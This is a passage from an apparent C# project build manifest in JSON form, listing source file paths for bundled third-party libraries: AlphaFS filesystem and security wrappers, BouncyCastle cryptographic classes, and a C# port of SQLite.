Class\\Path.GetSuffixedDirectoryName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempFileName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.HasExtension.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Helpers.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLogicalDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLongPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsPathRooted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsUncPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsValidName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.LocalToUnc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.RemoveTrailingDirectorySeparator.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Shell32Info.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressCallbackReason.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DeviceGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DiGetClassFlags.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationFilters.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DosDeviceAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\EncryptedFileRawMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ExtendedFileAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileEncryptionStatus.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FinalPathFormats.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\GetFullPathOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\MoveOptions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\PathFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ReparsePointTag.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SetupDiGetDeviceRegistryPropertyEnum.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamAttribute.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamId.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkTarget.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\NativeError.cs"},{"SourceFile":"3rdParty\\AlphaFS\\OperatingSystem.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Resources.Designer.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeCmConnectMachineHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeEncryptedFileRawHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindFileHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeMountPointHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeGlobalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeKernelTransactionHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeLocalMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeNativeMemoryBufferHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeSetupDiClassDevsExHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Safe Handles\\SafeTokenHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc32.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\Crc64.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\CRC\\HashType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\InternalPrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.AdjustTokenPrivileges.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.Constants.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorDacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorGroup.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorLength.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorOwner.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorSacl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetTokenInformation.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LocalFree.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeValue.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.OpenProcessToken.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetNamedSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetSecurityInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\Luid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_DESCRIPTOR_CONTROL.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_INFORMATION.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\SE_OBJECT_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\Privilege.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\PrivilegeEnabler.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\ProcessContext.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Security\\SecurityAttributes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Utils.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Win32Errors.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Encodable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1EncodableVector.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Exception.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1InputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Null.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Object.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1OutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1ParsingException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Sequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Set.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1SetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1StreamParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\Asn1Tags.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\BerTaggedObjectParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ConstructedOctetStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\cryptopro\\CryptoProObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerApplicationSpecific.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBitString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBmpString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerBoolean.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerEnumerated.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternal.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerExternalParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralizedTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGeneralString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerGraphicString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerIA5String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerInteger.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerNull.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerNumericString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerObjectIdentifier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerPrintableString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerStringBase.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerT61String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUniversalString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtcTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtf8String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVideotexString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVisibleString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\gm\\GMObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1ApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Choice.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Convertible.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IndefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\LimitedInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\misc\\MiscObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\nist\\NistObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\OidTokenizer.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\pkcs\\PkcsObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\rosstandart\\RosstandartObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\teletrust\\TeleTrusTObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ua\\UAObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\util\\FilterStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\CryptoException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\Check.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2bDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2sDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\CSHAKEDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\DSTU7564Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GeneralDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\KeccakDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\LongDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD2Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD4Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD5Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NonMemoableDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NullDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD128Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD160Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD320Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha1Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha224Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha384Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SHA3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512tDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShakeDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShortenedDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SM3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\TigerDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\WhirlpoolDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\XofUtils.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\AesEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\Gost28147Engine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\ThreefishEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\InvalidCipherTextException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IXof.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\BasicGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\Tables4kGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\OutputLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\AeadParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\KeyParameter.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithIV.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithSBox.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\SkeinParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\TweakableBlockCipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\CryptoApiRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\DigestRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\IRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Arrays.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Longs.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Pack.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Platform.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Times.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\DataLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\ICipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\IDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\BigInteger.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Bits.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Interleave.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\oiw\\OiwObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\DigestUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecureRandom.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecurityUtilityException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\CollectionUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\ISet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionary.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionaryProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableList.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableListProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSetProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\date\\DateTimeUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\Hex.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\HexEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\IEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Enums.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\IMemoable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\BaseInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\StreamOverflowException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\Streams.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\MemoableResetException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Strings.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteDatabase.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteVdbe.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\alter_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\analyze_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\attach_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\auth_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\backup_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\bitvec_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btmutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\BtreeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btree_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Btree_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\build_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\callback_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\complete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\date_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Delagates.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\delete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\expr_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\fault_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\func_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\global_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hash_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Hash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hwtime_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\insert_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\journal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\keywordhash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\legacy_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\loadext_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\main_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\malloc_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mem0_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mem1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\memjournal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_noop_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_w32.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\notify_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_common_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_win_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pragma_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\prepare_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\printf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\random_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\resolve_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\rowset_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\select_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3ext_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteicu_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteLimit_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\status_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\table_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\tokenize_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\trigger_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\update_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\utf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\util_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vacuum_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeapi_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeaux_c.cs"},{"So